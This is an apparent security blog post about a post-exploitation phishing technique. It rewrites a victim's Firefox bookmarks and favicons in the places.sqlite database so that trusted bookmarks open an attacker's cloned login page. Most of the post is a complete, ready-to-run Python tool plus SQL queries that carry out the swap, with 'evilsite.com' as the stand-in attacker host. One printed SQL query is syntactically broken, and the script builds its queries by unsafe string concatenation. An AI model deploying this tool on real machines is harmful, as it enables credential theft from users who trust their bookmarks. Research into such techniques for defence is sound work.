Abusing User Habits with Evil Bookmarks

23. Jan 2022, #phishing #web 

This is a little post about an email from my bank that led to a post-exploit phishing method, that I haven’t heard of before. Since most environments detect attacks like Man-in-the-Middle or proxy stuff pretty easily, replacing browser bookmarks can be a way to abuse a user’s habits into submitting credentials. I suspect that most users will not look at the URL after clicking a trusted bookmark. Having a valid SSL certificate and a good clone can then be another road to Rome loot.

How it Started #

This started with a simple e-mail from by bank. It was a yearly reminder of the dos and don’ts of online banking. Since I consider myself pretty educated on that topic I didn’t read it line by line. But one tip they gave scratched that one part of my brain. They said somewhat along:

Never save the online banking URL as a bookmark. Attackers could replace that bookmark with an evil login page or in case of updates the login URL could change.

I never thought about the attack vector of replacing bookmarks “on the fly”. So I did a little research…

How it Works #

Firefox stores a bunch of information like bookmarks, history, or cookies inside an unprotected sqlite3 database. With a simple SQL query, I can find and replace the bookmark URLs. Since Firefox displays the favicons of set sites along the bookmark, a second query is needed to update the favicon URL.

Those databases are located inside your profile folder which on Windows is located at:

%APPDATA%\Mozilla\Firefox\Profiles

The bookmarks are stored inside a sqlite3 database called places.sqlite. Inside this database there are many tables. We are interested in the table moz_places. Inside this table there are all the bookmarks and if Firefox is running, all open tabs.

Tablesmoz_places
places.sqlite Tablesplaces.sqlite moz_places Data

To exclude the open tabs you can filter with:

WHERE foreign_count = 1

To replace the URL you run:

UPDATE moz_places WHERE foreign_count = 1 SET url = REPLACE(url,'https://site.com','https://evilsite.com')  

To replace the favicon URL run:

UPDATE moz_places SET preview_image_url = 'https://evilsite.com/icon.png' WHERE foreign_count = 1 AND url LIKE '%https://evilsite.com%'

Firefox only loads the bookmarks at the start. So you either need to wait for your target to close and reopen the browser or kill it yourself.

PoC Code
python evilbookmark.py -b "https://google.com" -r "https://duckduckgo.com" -i "https://duckduckgo.com/favicon.ico"
import os
import argparse
import sqlite3


def check_installation():
    # the default firefox installation path
    username = os.getenv("USERNAME")
    firefox_path = f"C:/Users/{username}/AppData/Roaming/Mozilla/Firefox"

    print("[*] Checking for Firefox")
    if os.path.exists(firefox_path):
        print("[+] Firefox found")
        return firefox_path
    else:
        print("[!] No Firefox found")
        return None


def get_profile(firefox_path: str, custom_profile: str):
    if custom_profile:
        print(f"[*] Checking for profile '{custom_profile}'")
        custom_profile_path = f"{firefox_path}/profiles/{custom_profile}"

        if os.path.exists(custom_profile_path):
            print(f"[+] Using profile '{custom_profile}'")
            return custom_profile_path
        else:
            print(f"[!] Profile '{custom_profile}' not found")
            return None
    else:
        ini_path = f"{firefox_path}/profiles.ini"
        if not os.path.exists(ini_path):
            print("[!] No default profile found'")
            return None

        with open(ini_path) as ini_file:
            for line in ini_file.readlines():
                if "Default=Profiles" in line:
                    # format = "Default=Profiles/asdf1234.default" so we split after / and remove the newline
                    profile_name = line.split("/")[1].replace("\n", "")
                    print(f"[+] Using default profile '{profile_name}'")
                    return f"{firefox_path}/profiles/{profile_name}"


def replace_bookmarks(profile_path: str, bookmark: str, replace_with: str):
    print(f"[*] Replacing '{bookmark}' with '{replace_with}'")
    connection = sqlite3.connect(f"{profile_path}/places.sqlite")
    cursor = connection.cursor()

    try:
        # since open tabs are also stored in moz_places 'foreign_count = 1' selects only the bookmarks
        # UPDATE TABLE SET COLUMN = REPLACE(COLUMN,OLDSTRING,NEWSTRING)
        query = (
            """UPDATE moz_places SET url = REPLACE(url,\'"""
            + bookmark
            + "','"
            + replace_with
            + """') WHERE foreign_count = 1 """
        )
        cursor.execute(query)
        connection.commit()
    except sqlite3.Error as e:
        print(f"[!] Failed: {e}")

    cursor.close()
    connection.close()


def replace_icons(profile_path: str, replace_with: str, icon_url: str):
    print(f"[*] Replacing icon URLs from '{replace_with}' with '{icon_url}'")
    connection = sqlite3.connect(f"{profile_path}/places.sqlite")
    cursor = connection.cursor()

    try:
        # since open tabs are also stored in moz_places 'foreign_count = 1' selects only the bookmarks
        query = (
            """UPDATE moz_places SET preview_image_url = \'"""
            + icon_url
            + """\' WHERE foreign_count = 1 AND url LIKE '%"""
            + replace_with
            + """%\'"""
        )
        cursor.execute(query)
        connection.commit()
    except sqlite3.Error as e:
        print(f"[!] Failed: {e}")

    cursor.close()
    connection.close()


if __name__ == "__main__":
    args = argparse.ArgumentParser(add_help=False)
    args.add_argument("-h", "--help", action="store_true")
    args.add_argument(
        "-p", "--profile", type=str, action="store", dest="custom_profile"
    )
    args.add_argument(
        "-b", "--bookmark", type=str, action="store", dest="bookmark_search"
    )
    args.add_argument(
        "-r", "--replace", type=str, action="store", dest="bookmark_replace"
    )
    args.add_argument(
        "-i", "--iconurl", type=str, action="store", dest="bookmark_iconurl"
    )
    args = args.parse_args()

    helptext = """Usage:
  evilbookmark.py [OPTIONS]

Options:
  -p, --profile <NAME>    Use a custom profile

  -b, --bookmark <URL>    What bookmark to search for, ex. 'http://site.com'
  -r, --replace <URL>     URL to be inserted into '-b' ex. 'http://evilsite.com'
  -i, --iconurl <URL>     Icon URL to be inserted into '-b' ex. 'http://evilsite.com/icon.png'

  -h, --help              Shows this help text and exit
    """

    if args.help:
        print(helptext)
        exit(0)

    if (
        not (args.bookmark_search)
        or not (args.bookmark_replace)
        or not (args.bookmark_iconurl)
    ):
        print("[!] Please use '-b', '-r' and '-i'")
        exit(1)

    firefox_path = check_installation()
    if not firefox_path:
        exit(1)

    profile = get_profile(firefox_path, args.custom_profile)
    if not profile:
        exit(1)

    replace_bookmarks(profile, args.bookmark_search, args.bookmark_replace)
    replace_icons(profile, args.bookmark_replace, args.bookmark_iconurl)